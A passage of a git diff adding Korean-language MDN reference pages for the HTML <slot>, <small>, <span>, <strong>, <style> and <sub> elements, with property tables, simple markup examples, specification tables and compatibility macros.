+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트</th>
+   <td>{{event("slotchange")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLSlotElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>슬롯의 이름.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+    details {font-family: "Open Sans Light", Helvetica, Arial, sans-serif }
+    .name {font-weight: bold; color: #217ac0; font-size: 120% }
+    h4 {
+      margin: 10px 0 -8px 0;
+      background: #217ac0;
+      color: white;
+      padding: 2px 6px;
+      border: 1px solid #cee9f9;
+      border-radius: 4px;
+    }
+    .attributes { margin-left: 22px; font-size: 90% }
+    .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
+  &lt;details&gt;
+    &lt;summary&gt;
+      &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+      &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+    &lt;/summary&gt;
+    &lt;div class="attributes"&gt;
+      &lt;h4&gt;Attributes&lt;/h4&gt;
+      &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+  &lt;/details&gt;
+  &lt;hr&gt;
+&lt;/template&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 온전한 예제는 <a class="external external-icon" href="https://github.com/mdn/web-components-examples/tree/master/element-details" rel="noopener">element-details</a>(<a class="external external-icon" href="https://mdn.github.io/web-components-examples/element-details/" rel="noopener">라이브로 보기</a>)에서 볼 수 있습니다. 설명은 <a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a>에서 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-slot-element','&lt;slot&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#shadow-tree-slots','Slots')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.slot")}}</p>
diff --git a/files/ko/web/html/element/small/index.html b/files/ko/web/html/element/small/index.html
new file mode 100644
index 0000000000..efc0a62cd5
--- /dev/null
+++ b/files/ko/web/html/element/small/index.html
@@ -0,0 +1,117 @@
+---
+title: '<small>: 덧붙임 글 요소'
+slug: Web/HTML/Element/small
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/small
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;small&gt;</code></strong> <strong>요소</strong>는 덧붙이는 글이나, 저작권과 법률 표기 등의 작은 텍스트를 나타냅니다.</span> 기본 상태에서 <code>&lt;small&gt;</code>은 자신의 콘텐츠를 한 사이즈 작은 글꼴(<code>small</code>에서 <code>x-small</code> 등)로 표시하지만, 스타일을 적용한 후에도 글씨 크기가 작을 필요는 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/small.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소, 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 class="editable" id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: html">&lt;p&gt;This is the first sentence.
+ &lt;small&gt;This whole sentence is in small letters.&lt;/small&gt;
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("기본_사용법")}}</p>
+
+<h3 id="CSS_예제">CSS 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;This is the first sentence.
+  &lt;span style="font-size:0.8em"&gt;This whole sentence is in small
+  letters.&lt;/span&gt;
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("CSS_예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#edef-SMALL', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<p>{{htmlelement("b")}}, {{htmlelement("i")}}, <code>&lt;small&gt;</code> 요소는 구조와 표현을 분리하는 원칙을 위배하는 것처럼 보이지만, 셋 모두 HTML5에서 유효합니다. 작성자는 <code>&lt;small&gt;</code>과 CSS 중 어느 것을 사용할지 결정하기 전에 심사숙고해야 합니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.small")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/span/index.html b/files/ko/web/html/element/span/index.html
new file mode 100644
index 0000000000..ffa73e9f9a
--- /dev/null
+++ b/files/ko/web/html/element/span/index.html
@@ -0,0 +1,125 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/span
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;span&gt;</code> 요소</strong>는 구문 콘텐츠를 위한 통용 인라인 컨테이너로, 본질적으로는 아무것도 나타내지 않습니다. 스타일을 적용하기 위해서, 또는 {{htmlattrxref("lang")}} 등 어떤 특성의 값을 서로 공유하는 요소를 묶을 때 사용할 수 있습니다.</span> 적절한 의미를 가진 다른 요소가 없을 때에만 사용해야 합니다. <code>&lt;span&gt;</code>은 {{htmlelement("div")}}와 매우 유사하지만, {{htmlelement("div")}}는 <a href="/ko/docs/Web/HTML/Block-level_elements">블록 레벨 요소</a>인 반면 <code>&lt;span&gt;</code>은 <a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/span.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_컨텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_컨텐츠">구문 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_컨텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLSpanElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예제_1">예제 1</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html gutter:false">&lt;p&gt;&lt;span&gt;Some text&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제_1')}}</p>
+
+<h3 id="예제_2">예제 2</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html gutter:false">&lt;li&gt;&lt;span&gt;
+    &lt;a href="portfolio.html" target="_blank"&gt;See my portfolio&lt;/a&gt;
+&lt;/span&gt;&lt;/li&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">li span {
+  background: gold;
+ }
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('예제_2')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The {{glossary("DOM")}} interface is now {{domxref("HTMLSpanElement")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.span")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>HTML {{HTMLElement("div")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/element/strong/index.html b/files/ko/web/html/element/strong/index.html
new file mode 100644
index 0000000000..50bfe6f78c
--- /dev/null
+++ b/files/ko/web/html/element/strong/index.html
@@ -0,0 +1,135 @@
+---
+title: '<strong>: 높은 중요도 요소'
+slug: Web/HTML/Element/strong
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/strong
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;strong&gt;</code> 요소</strong>는 중대하거나 긴급한 콘텐츠를 나타냅니다. 보통 브라우저는 굵은 글씨로 표시합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/strong.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a> 또는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>The <code>&lt;strong&gt;</code> element is for content that is of "strong importance," including things of great seriousness or urgency (such as warnings). This could be a sentence that is of great importance to the whole page, or you could merely try to point out that some words are of greater importance compared to nearby content.</p>
+
+<p>Typically this element is rendered by default using a bold font weight. However, it should <em>not</em> be used simply to apply bold styling; use the CSS {{cssxref("font-weight")}} property for that purpose. Use the {{HTMLElement("b")}} element to draw attention to certain text without indicating a higher level of importance. Use the {{HTMLElement("em")}} element to mark text that has stress emphasis.</p>
+
+<p>Another accepted use for <code>&lt;strong&gt;</code> is to denote the labels of paragraphs which represent notes or warnings within the text of a page.</p>
+
+<h3 id="&lt;b>_vs._&lt;strong>"><code>&lt;b&gt;</code> vs. <code>&lt;strong&gt;</code></h3>
+
+<p>It is often confusing to new developers why there are so many ways to express the same thing on a rendered website. {{HTMLElement("b")}} and <code>&lt;strong&gt;</code> are perhaps one of the most common sources of confusion, causing developers to ask "Should I use <code>&lt;b&gt;</code> or <code>&lt;strong&gt;</code>? Don't they both do the same thing?"</p>
+
+<p>Not exactly. The <code>&lt;strong&gt;</code> element is for content that is of greater importance, while the <code>&lt;b&gt;</code> element is used to draw attention to text without indicating that it's more important.</p>
+
+<p>It may help to realize that both are valid and semantic elements in HTML5 and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <code>&lt;strong&gt;</code>). Each element is meant to be used in certain types of scenarios, and if you want to bold text simply for decoration, you should instead actually use the CSS {{cssxref("font-weight")}} property.</p>
+
+<p>The intended meaning or purpose of the enclosed text should be what determines which element you use. Communicating meaning is what semantics are all about.</p>
+
+<h3 id="&lt;em>_vs._&lt;strong>"><code>&lt;em&gt;</code> vs. <code>&lt;strong&gt;</code></h3>
+
+<p>Adding to the confusion is the fact that while HTML 4 defined <code>&lt;strong&gt;</code> as simply indicating a stronger emphasis, HTML 5 defines <code>&lt;strong&gt;</code> as representing "strong importance for its contents." This is an important distinction to make.</p>
+
+<p>While <code>&lt;em&gt;</code> is used to change the meaning of a sentence as spoken emphasis does ("I <em>love</em> carrots" vs. "I love <em>carrots</em>"), <code>&lt;strong&gt;</code> is used to give portions of a sentence added importance (e.g., "<strong>Warning!</strong> This is <strong>very dangerous.</strong>") Both <code>&lt;strong&gt;</code> and <code>&lt;em&gt;</code> can be nested to increase the relative degree of importance or stress emphasis, respectively.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;Before proceeding, &lt;strong&gt;make sure you put on your safety goggles&lt;/strong&gt;.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 80)}}</p>
+
+<h3 id="경고_표시">경고 표시</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Before proceeding, make sure you add plenty of butter.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample("경고_표시", 650, 80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.strong")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}} 요소</li>
+ <li>{{HTMLElement("em")}} 요소</li>
+ <li>{{cssxref("font-weight")}} 속성</li>
+</ul>
diff --git a/files/ko/web/html/element/style/index.html b/files/ko/web/html/element/style/index.html
new file mode 100644
index 0000000000..4e166704bc
--- /dev/null
+++ b/files/ko/web/html/element/style/index.html
@@ -0,0 +1,201 @@
+---
+title: '<style>: 스타일 정보 요소'
+slug: Web/HTML/Element/style
+tags:
+  - CSS
+  - Element
+  - HTML
+  - HTML document metadata
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/style
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;style&gt;</code> 요소</strong>는 문서나 문서 일부에 대한 스타일 정보를 포함합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/style.html", "tabbed-standard")}}</div>
+
+
+
+<p><code>&lt;style&gt;</code> 요소는 문서의 {{htmlelement("head")}} 안에 위치해야 합니다. 그러나, 일반적으로 스타일은 외부 스타일 시트에 작성하고, {{htmlelement("link")}} 요소로 연결하는 편이 좋습니다.</p>
+
+<p>문서가 다수의 <code>&lt;style&gt;</code>과 <code>&lt;link&gt;</code> 요소를 포함하면 서로의 순서대로 {{glossary("DOM")}}에 스타일을 적용합니다. 따라서 예상치 못한 종속 문제를 피하려면 올바른 순서를 따라 <code>&lt;style&gt;</code> 및 <code>&lt;link&gt;</code> 요소를 배치해야 합니다.</p>
+
+<p><code>&lt;link&gt;</code> 요소와 동일하게, <code>&lt;style&gt;</code> 요소도 미디어 쿼리를 값으로 가지는 {{htmlattrxref("media", "style")}} 특성을 포함할 수 있습니다. 이를 통해 {{glossary("viewport", "뷰포트")}} 너비 등 매체 기능에 따라 선택적으로 스타일 시트를 적용할 수 있습니다.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>스타일 언어의 MIME 유형. 문자셋은 지정하지 않아야 합니다. 선택 사항이며, 기본값은 <code>text/css</code>입니다. 빈 문자열과 <code>text/css</code> 외의 값은 사용하지 않습니다.
+ <div class="note"><strong>참고:</strong> 현대적인 웹 문서에서 이 특성을 포함할 이유는 거의 존재하지 않습니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd>스타일을 적용할 매체. 값은 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a>이며, 누락할 경우 기본값은 <code>all</code>입니다.</dd>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd><code><a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy/style-src">style-src Content-Security-Policy</a></code>에서 인라인 스타일을 화이트리스트에 추가할 때 사용하는 논스(임시 값). 서버는 매번 정책을 전송할 때마다 새로운 고유 논스를 생성해야 합니다. 논스 값을 알고 있는 공격자라면 리소스 정책을 우회하는 것은 매우 간단한 일이므로, 사전에 유추할 수 없는 값을 생성하는 것이 중요합니다.</dd>
+ <dt>{{htmlattrdef("title")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/Alternative_style_sheets">대체 스타일 시트</a> 세트를 지정합니다.</dd>
+</dl>
+
+<h3 id="사용_중단된_특성">사용 중단된 특성</h3>
+
+<dl>
+ <dt>{{htmlattrdef("scoped")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>지정한 경우, <code>&lt;style&gt;</code> 요소의 부모 및 부모의 자식에만 스타일을 적용합니다.
+ <div class="note">
+ <p><strong>참고:</strong> <code>scoped</code> 특성은 <a href="https://github.com/w3c/csswg-drafts/issues/3547">https://github.com/w3c/csswg-drafts/issues/3547</a>에 따라 나중에 다시 추가될 수도 있습니다. 지금 사용하고 싶은 경우 <a href="https://github.com/samthor/scoped">폴리필</a>을 추가하세요.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_스타일_시트">간단한 스타일 시트</h3>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: red;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('간단한_스타일_시트', '100%', '60')}}</p>
+
+<h3 id="다수의_&lt;style>_요소">다수의 <code>&lt;style&gt;</code> 요소</h3>
+
+<p>다음 예제는 두 개의 <code>&lt;style&gt;</code> 요소를 사용합니다. 같은 명시도를 가진 경우, 뒤쪽 <code>&lt;style&gt;</code>이 앞쪽을 덮어쓰는 것에 주목하세요.</p>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: blue;
+      padding: 5px;
+      border: 1px solid black;
+    }
+  &lt;/style&gt;
+  &lt;style&gt;
+    p {
+      color: blue;
+      background-color: yellow;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('다수의_style_요소', '100%', '60')}}</p>
+
+<h3 id="미디어_쿼리_포함">미디어 쿼리 포함</h3>
+
+<p>이번 예제에서는 앞선 코드의 두 번째 <code>&lt;style&gt;</code> 요소에 <code>media</code> 특성을 추가하고, {{glossary("viewport", "뷰포트")}}의 너비가 500px 미만일 때에만 스타일을 적용하도록 지정합니다.</p>
+
+<pre class="brush:html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;style&gt;
+    p {
+      color: white;
+      background-color: blue;
+      padding: 5px;
+      border: 1px solid black;
+    }
+  &lt;/style&gt;
+  &lt;style media="all and (max-width: 500px)"&gt;
+    p {
+      color: blue;
+      background-color: yellow;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;This is my paragraph.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{EmbedLiveSample('미디어_쿼리_포함', '100%', '60')}}</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>. <code>scoped</code> 특성이 존재하면 <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th>가능한 콘텐츠</th>
+   <td><code>type</code> 특성에 맞는 텍스트, 즉 <code>text/css</code>.</td>
+  </tr>
+  <tr>
+   <th>태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th>가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>를 허용하는 모든 요소</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th>DOM 인터페이스</th>
+   <td>{{domxref("HTMLStyleElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'document-metadata.html#the-style-element', 'style') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>{{ SpecName('HTML5 W3C') }} 에서 변화 없음.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'document-metadata.html#the-style-element', 'style') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td><code>scoped</code> 특성이 추가됨</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style') }}</td>
+   <td>{{ Spec2('HTML4.01') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>외부 스타일 시트를 사용하기 위한 {{HTMLElement("link")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/sub/index.html b/files/ko/web/html/element/sub/index.html
new file mode 100644
index 0000000000..a94f6a7f01
--- /dev/null
+++ b/files/ko/web/html/element/sub/index.html
@@ -0,0 +1,137 @@
+---
+title: '<sub>: 아래 첨자 요소'
+slug: Web/HTML/Element/sub
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/sub
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;sub&gt;</code></strong> 요소는 활자 배치를 아래 첨자로 해야 하는 인라인 텍스트를 지정합니다.</span> 아래 첨자는 보통 더 작은 글씨 크기를 가지고, 기준선을 아래로 내려 렌더링 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/sub.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
